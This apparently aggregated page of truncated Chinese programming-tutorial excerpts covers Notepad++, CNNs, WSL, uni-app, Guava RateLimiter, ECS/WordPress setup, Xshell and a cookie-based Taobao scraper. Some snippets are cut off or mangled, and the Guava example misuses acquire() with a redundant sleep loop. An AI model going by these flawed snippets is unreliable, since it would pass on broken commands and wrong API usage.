安装成功后,第一次运行弹出如下界面,关于菜单栏和工具栏的使用可自行慢慢体会。 Notepad++配置(Python) 配置制表符 建议将这表符号替换成空格(4个),彻底解决空格和Tab混用(对于Python程序来讲,缩进是很严格的)。 Notepad++ ->”设置”菜单->”首选项”按钮->”语言”按钮。如下图所示: 自动完成 对于程序中,经常输入的“”,[],{}等符号,建议勾选以下部分,这样使用NotePad++编辑器的时候能够自动帮你完成另外的部分。 Notepad++ -> ”设置”菜单->”首选项”按钮->”自动完成”按钮。如下图所示: 配置调试工具 Notepad++ ->”运行”菜单->”运行”按钮 在弹出的窗口内输入以下命令: cmd /k cd /d “Misplaced & 然后点击“保存”,随意取一个名字,比如“RunPython”,为方便,配置一下快捷键(比如 Ctrl + F6),点OK即可。之后运行Python文件只要按配置的快捷键或者在运行菜单上点“RunPython”即可。

1、传统神经网络和卷积神经网络

传统神经网络和卷积神经网络 1、神经网络分类2、传统神经网络层次结构3、**卷积**神经网络的层次结构及其作用3.1其他特点 1、神经网络分类 根据矩阵运算划分 卷积神经网络:点积矩阵卷积运算(多维);卷积神经层由多个特征面构成,每一个特征面则是由很多个神经元构成。核代表参数w 传统神经网络:叉积矩阵乘法运算(一维);每层由排成一列的神经元构成;神经元:每个神经元代表矩阵的一个列向量Xi,神经元连线代表系数W。每一个像素值,都是一个神经元,每个神经元代表了一个特征。 2、传统神经网络层次结构 输入层:的每个神经元代表了一个特征 隐藏层:特征提取 输出层:输出层个数代表了分类标签的个数 3、卷积神经网络的层次结构及其作用 多通道输入,多卷积核,输出的通道数=卷积核的个数。 输入层->卷积层->激活层->池化层->全连接层 数据输入层:对原始数据进行初步处理,使卷积神经网络能有更好的效果 卷积层:提取特征(矩阵大小个数都变化);卷积核遍历图片上每一个像素点 激活层:计算结果通过一个激活函数加一个非线性的关系,使能逼近任何函数。 池化层:数据压缩,提取主要特征,降低网络复杂度;不改变矩阵的深度,缩小矩阵,减少网络的参数(矩阵变小,个数不变) 光栅化(Rasterization):为了与传统的多层感知器MLP全连接,把上一层的所有Feature Map的每个像素依次展开,排成一列。某些情况下这一层可以省去。 全连接层:分类器角色,将特征映射到样本标记空间,本质是矩阵变换。将特征图拉成一维向量,将每个特征点作为一个神经元进行分类任务。把所有局部特征结合变成全局特征,用来计算最后每一类的得分。 3.1其他特点 1、卷积结构可以减少深层网络占用的内存量,其中三个关键操作——局部感受野、权值共享、池化层,有效的减少了网络的参数个数,缓解了模型的过拟合问题。 2、填充padding 为了使卷积操作后能得到满意的输出图片尺寸,经常会使用padding对输入进行填充操作。默认在图片周围填充0。使卷积核对边缘信息的处理不止处理一次,对边缘信息的提取更加充分了,减少边缘信息丢失。 3、感受视野 网络越深,感受视野越大,检测目标越大。底层网络感受视野小,检测小目标。 增大感受视野:可以用空洞卷积、spp、上下采样融合、网络深度

Windows系统安装WSL,并安装docker服务

背景 因为工作需要,要在电脑上执行sh脚本,并启动docker服务执行具体逻辑。因为我的电脑是windows系统,对做本任务来说,比较吃力,所以想到使用wsl,让windows电脑具有linux电脑的能力。 什么是 WSL 2 WSL 2 是适用于 Linux 的 Windows 子系统体系结构的一个新版本,它支持适用于 Linux 的 Windows 子系统在 Windows 上运行 ELF64 Linux 二进制文件。 它的主要目标是提高文件系统性能,以及添加完全的系统调用兼容性。 这一新的体系结构改变了这些 Linux 二进制文件与Windows 和计算机硬件进行交互的方式,但仍然提供与 WSL 1(当前广泛可用的版本)中相同的用户体验。 单个 Linux 分发版可以在 WSL 1 或 WSL 2 体系结构中运行。 每个分发版可随时升级或降级,并且你可以并行运行 WSL 1 和 WSL 2 分发版。 WSL 2 使用全新的体系结构,该体系结构受益于运行真正的 Linux 内核。 操作步骤: 1、开启windows上的wsl能力 命令行方式: 打开 PowerShell 并运行: 启用“适用于 Linux 的 Windows 子系统”可选功能 dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 启用“虚拟机平台”可选功能。 dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart windows界面形式(win10系统)

uni-app 抖音小程序接入友盟数据统计

初始化 友盟sdk链接下载 mp-demos/uma.js at master · umeng/mp-demos · GitHub // #ifdef MP-TOUTIAO import uma from './utils/uma.min.js'; uma.init({ appKey: 'app_key', //由友盟分配的APP_KEY // 使用Openid进行统计,此项为false时将使用友盟+uuid进行用户统计。 // 使用Openid来统计微信小程序的用户,会使统计的指标更为准确,对系统准确性要求高的应用推荐使用Openid。 useOpenid: false, // 使用openid进行统计时,是否授权友盟自动获取Openid, // 如若需要,请到友盟后台"设置管理-应用信息"(https://mp.umeng.com/setting/appset)中设置appId及secret autoGetOpenid: false, debug: true, //是否打开调试模式 uploadUserInfo: false // 自动上传用户信息,设为false取消上传,默认为false }) // 此处用来挂载入uma到组件实例上,方便组件内使用this.$uma uma.install = function (Vue) { Vue.prototype.$uma = uma; } Vue.use(uma); // #endif 抖音小程序接入友盟数据统计方式有两种 方式一·、使用 anonymousOpenid 1.如果您不填写appsecrect通过友盟自动获取,则 必须通过手动上报的方式来上报anonymousOpenid 。 anonymousOpenid获取方式,通过uni.login()获取 uni.login({ success(res) { console.log(res) } }) 获取到的参数 注意!!

google Guava包RateLimiter使用最佳实践

以下是使用Guava RateLimiter的最佳实践: 1 创建RateLimiter对象的最佳实践 在创建RateLimiter对象时,建议使用静态工厂方法来创建,因为它提供了更清晰的API,并且允许您使用不同的参数值来创建RateLimiter对象。以下是使用静态工厂方法创建RateLimiter对象的示例: RateLimiter rateLimiter = RateLimiter.create(10); //每秒允许10个请求 1.1 使用 acquire()方法的最佳实践 RateLimiter 的 acquire 方法用于获取一个许可证(permit),表示可进行一个请求或操作。如果没有可用的许可证,则 acquire 方法将阻塞线程,直到 RateLimiter 允许获得新的许可证。acquire方法有多个重载,可以根据不同的参数配置和获取不同数量的许可证,下面主要介绍acquire方法的常用重载: double acquire() 该方法用于获取一个许可证,并返回等待的时间(即等待 RateLimiter 释放许可证的时间)。如果返回的时间为 0,则表示可以立即执行操作,否则等待相应的时间后再执行操作。如果在等待过程中发生中断,则会抛出 InterruptedException异常。 double acquire(int permits) 该方法用于获取指定数量的许可证,并返回等待的时间。如果返回的时间为0,则表示可以立即执行操作,否则等待相应的时间后再执行操作。如果在等待过程中发生中断,则会抛出 InterruptedException 异常。 以下是使用 acquire()方法的示例: //创建RateLimiter RateLimiter rateLimiter = RateLimiter.create(10); //每秒允许10个请求 //每次请求之前调用acquire()方法 while (true) { double waitTime = rateLimiter.acquire(1); if (waitTime == 0) { break; } //使用waitTime进行阻塞 Thread.sleep((long) (waitTime * 1000)); } //执行请求 executeRequest(); 1.2 使用tryAcquire()方法的最佳实践 如果您使用的是非阻塞的逻辑,并且需要根据RateLimiter的许可证可用性做出决策,则可以使用tryAcquire()方法来尝试获取许可证。如果tryAcquire()方法返回true,则表示许可证可用,可以执行请求。否则,您需要等待一段时间,直到许可证可用。 以下是使用tryAcquire()方法的示例:

js处理时间为23:59:59

js 获取当天23点59分59秒 时间戳 (最简单的方法) new Date(new Date(new Date().toLocaleDateString()).getTime()+24*60*60*1000-1) 根据开始时间和时间周期算结束时间 任务周期:16天/2023-04-15至 2023-04-30 var cycle = Number(item.cycle);//时间周期(16) var needAddTime = cycle * 60 * 60 * 24 * 1000 - 1;//在时间戳的基础上加一天(即60*60*24*1000-1)---->变成23:59:59 var endTime = item.startDate + needAddTime; var endData = new Date(endTime).format("yyyy-MM-dd"); 结果: 2023-04-30 (这里实际为2023-04-30 23:59:59) 如果606024*1000 不再-1 var cycle = Number(item.cycle);//时间周期(16) var needAddTime = cycle * 60 * 60 * 24 * 1000 ;//在时间戳的基础上加一天(即60*60*24*1000) var endTime = item.startDate + needAddTime; var endData = new Date(endTime).

Umi + React + Ant Design Pro 项目实践(六)—— ProLayout 应用

打开 .umirc.ts 文件: import { defineConfig } from "umi"; export default defineConfig({ plugins: ['@umijs/plugins/dist/react-query'], reactQuery: {}, routes: [ { path: "/", component: "index" }, { path: "/docs", component: "docs" }, { path: "/products", component: "products" }, ], npmClient: 'pnpm', }); 修改 .umirc.ts 文件: import { defineConfig } from "umi"; export default defineConfig({ routes: [ { path: "/", component: "index", name:'home'}, { path: "/docs", component: "docs", name:'docs' }, { path: "

uniapp开发,打包成H5部署到服务器

前端使用uniapp开发项目完成后,需要将页面打包,生成H5的静态文件,部署在服务器上。 这样通过服务器链接地址,直接可以在手机上点开来访问。 打包全步骤如下: 1、修改config.js内的请求地址 需要后台部署到测试服务器上,给到前端一个访问地址 2、打开mainfest.json ,如果用到地图,需配置地图的key 3、选择项目–发行–PC/web/h5 填入网站标题–点击发行 编译成功后,会出现对应的文件路径,如图所示,点击打开, 点开后,会看到已经编译好的静态文件,全选–添加到压缩包–压缩格式选择.tar 压缩完后会得到一个h5.tar压缩包 如果是后台负责部署,只需将h5.tar发给后台程序员部署即可。 如果需要前端人员自己部署到服务器,请看以下步骤: 1、先拿到服务器的地址信息,双击打开 SecureCRT,连接上该项目的服务器(连接服务器的教程请在我的其他文章内查找) 点击如下图所示 2、进入到服务器的根目录底下。 3、 (如果不打h5.tar压缩包,直接将static和index.html直接粘贴到h5文件夹内即可) 如果是h5.tar压缩包,将h5.tar文件夹复制粘贴到h5文件夹内,然后在SecureCRT内,进到当前H5文件夹的目录,例如: cd /demo/myproject/h5 ,在当前目录输入(解压缩)命令:tar -xvf h5.tar,然后回车 OK,这个时候就已经部署成功了。 4、打开浏览器,输入服务器访问地址,访问即可

CSDN竞赛第45期题解

CSDN竞赛第45期题解 1、题目名称:勾股数 勾股数是一组三个正整数,它们可以作为直角三角形的三条边。 比如3 4 5就是一组勾股数。 如果给出一组勾股数其中的 两个,你能找出余下的一个吗 ll a,b;cin>>a>>b; if(a>b) swap(a,b); ll x = b*b-a*a; ll qx = (ll)sqrt(x); ll y= b*b+a*a; ll qy = (ll)sqrt(y); if(qx*qx==x && qx+a>b){ cout<<qx<<'\n'; } else if(qy*qy==y&&a+b>qy){ cout<<qy<<'\n'; } else puts("-1"); 2、题目名称:最近的回文数 回文数是一个非负整数,它的各位数字从高位到低位和从低位到高位的排列是相同的。 以下是一些回文数的例子: 0 1 33 525 7997 37273 现在给到一个数,求离它最近的一个回文数(离与它的差的绝对值最小)。如果这个数本身就是回 文数,那么就输出它本身。 class Solution { public: vector<long> getCandidates(const string& n) { int len = n.length(); vector<long> candidates = { (long)pow(10, len - 1) - 1, (long)pow(10, len) + 1, }; long selfPrefix = stol(n.

【python】淘宝利用cookies登录,爬取商品信息

所用到的库 import requests import re import csv 1.登录淘宝(打开持续日志,便于获得登录信息) 2.保存登录cookies(保存到本地mycookies.txt) 3.请求登录 def getHTML(): name = input('请输入爬取商品的名字:') start_url = 'https://s.taobao.com/search?q={}&s='.format(name) header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' } path = 'C:/Users/lidantao/Desktop/python_homework/17210120721_李丹涛_17创新实验班(第十五次)/mycookies.txt' with open(path,'r')as f: mycookies = f.read() mycookies = mycookies.split(';') cookies = {} for cookie in mycookies: name,value = cookie.strip().split('=',1) cookies[name] = value pages = input('请输入爬取的商品页数:') goods = '' for i in range(int(pages)): url = start_url + str(i*44) r = requests.

关于JAVA实现list作为查询参数的进行查询的几种实现思路

1、如果所要查询的表数据较少且可控,可以将全部数据取出来然后再与自己的条件进行比较。代码如下: public List queryByList(String[] args) { Connection conn = null; Statement stmt = null; ResultSet rs = null; //定义最终要返回的结果集 List<HashMap> list = new ArrayList<HashMap>(); try { // 加载Oracle JDBC驱动程序 Class.forName("oracle.jdbc.driver.OracleDriver"); // 建立数据库连接 String url = "jdbc:oracle:thin:@数据库ip:端口:服务名"; String user = "数据库用户名"; String password = "数据库密码"; conn = DriverManager.getConnection(url, user, password); // 创建Statement对象 stmt = conn.createStatement(); // 创建ResultSet对象 rs = stmt.executeQuery("SELECT * FROM your_table"); // 处理查询结果 while (rs.next()) { //过滤条件 int id = rs.

u-tabs使用(uView)

<!-- * @Description: 事件上报详情 页面 * @Author: mhf * @Date: 2023-04-11 16:08:22 --> <template> <view class="" style="height: 1000px;"> <u-sticky bgColor="#fff" :enable="enable"> <u-tabs :list="tabsList" :current="tabsCurrent" :is-scroll="false" @click="tabsClick" @change="tabsChange"></u-tabs> </u-sticky> <view v-if="tabsCurrent === 0"> 基础信息 </view> <view v-if="tabsCurrent === 1"> 灾毁统计 </view> </view> </template> <script> export default { name: "eventReportNewDetail", components: {}, props: {}, // dicts: ['direct_event_audit_status', 'direct_event_line_type', 'direct_event_info_sources', 'direct_event_info_direction'], data() { return { id: '', form: {}, // 表单数据 enable: true, // 吸顶监听 tabsList: [ { name: '基础信息', disabled: false }, { name: '灾毁统计', disabled: false } ], // tabs列表 tabsCurrent: 0, // 展示 tabs哪一项的 }; }, methods: { /** * @Event 方法 * @description: u-tabs 菜单点击 * */ tabsClick(item) { console.

云服务器ECS教程第一章——基于ECS搭建云上博客

本篇介绍一下利用阿里云ECS搭建博客系统。 一、进入云平台 注册阿里云账号,进入开发者社区,进入体验基于ECS搭建云上博客 二、LAMP环境部署 1、创建资源 点击免费开通,创建需要1-3分钟 2、 连接ECS服务器 用putty等工具登陆刚生成ECS公网地址 3、安装 Apache HTTP 服务 yum -y install httpd httpd-manual mod_ssl mod_perl mod_auth_mysql 启动Apache并验证,用浏览器访问公网地址:80 systemctl start httpd.service 4、安装 MySQL 数据库并启动 wget http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm yum -y install mysql57-community-release-el7-10.noarch.rpm yum -y install mysql-community-server systemctl start mysqld.service systemctl status mysqld.service 5、查看mysql初始密码并重新设置 grep "password" /var/log/mysqld.log mysql -uroot -p ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewPassWord1.'; create database wordpress; show databases; 6、创建wordpress数据库 7、安装PHP语言环境 执行如下命令,安装PHP环境。 yum -y install php php-mysql gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap 执行如下命令创建PHP测试页面,并启动Apache服务

Linux基础篇(一)Xshell的使用

目录 一、登入云服务器 二、使用Xsell以其他用户登录云服务器 三、Xsell下的其它操作 一、登入云服务器 0.准备工作 在使用Xshell登录云服务器之前,我们首先重置我们云服务器的root密码:在我们购买的云服务器的官网找到我们购买的服务器的实例,找到重置密码的选项将root密码重新设置。 1.打开 XShell ,下敲 ssh root@公网ip ( 云服务器的弹性公网IP ,可在自己购买服务器的官网里看到) 这里大家得记住ssh和root直接得有个空格,@后面得紧跟公网ip地址,将这些输入完之后我们就可以按下回车键就会出现这个窗口: 3.输入密码 还记得我们刚才重置的云服务器密码吗?将这个密码输入进去就可以了,然后点击确定。 4.成功登录 eg.当你成功登录华为云服务器时会出现以下提示: 如果登录失败,报了以下错误,也不要惊慌,小问题,按按下键盘上的上键,找到刚才的代码,按上述步骤重新登录即可。 拓: 上述指令是登录root用户,如果创建了其他用户,想直接登录到其他用户把上述指令中的root改为对应用户名,输入密码时输入该用户的密码即可。 eg.直接登录用户lin : ssh lin@ 公网IP地址 二、使用Xsell以其他用户登录云服务器 1.新建会话 2.输入主机编号(服务器的公网ip地址) 此界面只需要填写主机,因为大部分云服务器的默认端口为22,剩下的不动。 注意此处主机需要填写云服务器的弹性公网IP。 3.选择刚才创建的会话,点击连接。 4. 输入用户名,就是刚刚使用adduser指令创建的那个。 5.输入刚才使用passwd指令修改的密码 6.成功使用新用户身份登入 三、Xsell下的其它操作 1.复制粘贴(不是Ctrl + c 和 Ctrl + v) 复制:Ctrl + insert 粘贴:Shift + insert 2. clear: 清屏 不是删除之前的指令只是翻到了下一页。(输入过的指令全在上面。) 3.一台云服务器是可以同时被多个人使用的 eg. 一台云服务器同时被两个用户访问。

2023最新解决在pycharm上使用opencv / cv2 没有代码提示的问题

原因分析:因为直接在pycharm的命令控制台直接下载的opencv—python:pip install opencv-python,但是很有可能他把opencv给下载到另外一个环境上面去了 解决办法:使用anaconda prompt 第一步: conda activate +(你想要下载opencv的虚拟环境名称) 第二步: conda install -c menpo opencv 然后会pycharm等它同步一下,就🆗啦 看到网上太多教程不靠谱,我是自己成功了,可以借鉴一下哦